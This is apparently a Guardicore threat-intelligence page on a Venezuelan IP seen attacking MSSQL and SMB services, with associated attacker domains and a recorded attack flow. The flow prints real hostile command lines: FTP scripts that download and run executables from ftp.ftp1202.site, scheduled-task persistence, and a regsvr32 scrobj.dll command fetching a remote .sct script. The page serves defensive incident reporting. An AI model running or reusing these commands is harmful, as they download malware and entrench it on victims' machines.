IP Address: 200.11.241.44Malicious

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IP Address:
200.11.241.44​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Service Configuration IDS - Attempted Administrator Privilege Gain Scheduled Task Creation PowerShell Download and Execute CMD SMB Persistency - Logon System File Modification SMB Null Session Login Access Suspicious Domain Known Malware DNS Query Outgoing Connection Service Start Listening MS17-010

Associated Attack Servers

js.1226bye.xyz yancy.pw gamesoxalic.com down.1226bye.pw js.1226bye.pw

139.5.177.32 66.117.6.174 199.168.100.74 23.236.69.114 167.88.180.175 173.247.239.186

Basic Information

IP Address

200.11.241.44

Domain

-

ISP

Cantv

Country

Venezuela, Bolivarian Republic of

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-09-18

Last seen in Guardicore Centra

2020-06-27

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

The machine was exploited using the ms17-010 vulnerability

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 139.5.177.32:8032, 167.88.180.175:8175, 173.247.239.186:8186, 173.247.239.186:9999 and 199.168.100.74:8074

Outgoing Connection

PowerShell session started by c:\windows\system32\winlogon.exe

Service msiserver was started

Service Start

The command line cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The command line cmd /c start c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

c:\windows\system32\reg.exe set the command line regsvr32 /u /s /i:http://js.ftp1202.site:280/v.sct scrobj.dll to run using Persistency - Logon

Persistency - Logon

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: yancy.pw

Access Suspicious Domain Outgoing Connection

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832 2 times

Listening

The file C:\Windows\Inf\winnts.exe was downloaded and executed

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

The file C:\Windows\Inf\aspnet\u.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\aspnet\u.exe generated outgoing network traffic to: 23.236.69.114:8114

Outgoing Connection

The file c:\windows\inf\aspnet\lsma12.exe was downloaded and executed

Download and Execute

The file C:\Windows\System\msinfo.exe was downloaded and executed

Download and Execute

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz

DNS Query Access Suspicious Domain

Connection was closed due to user inactivity

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IP Address: 200.11.241.44​Malicious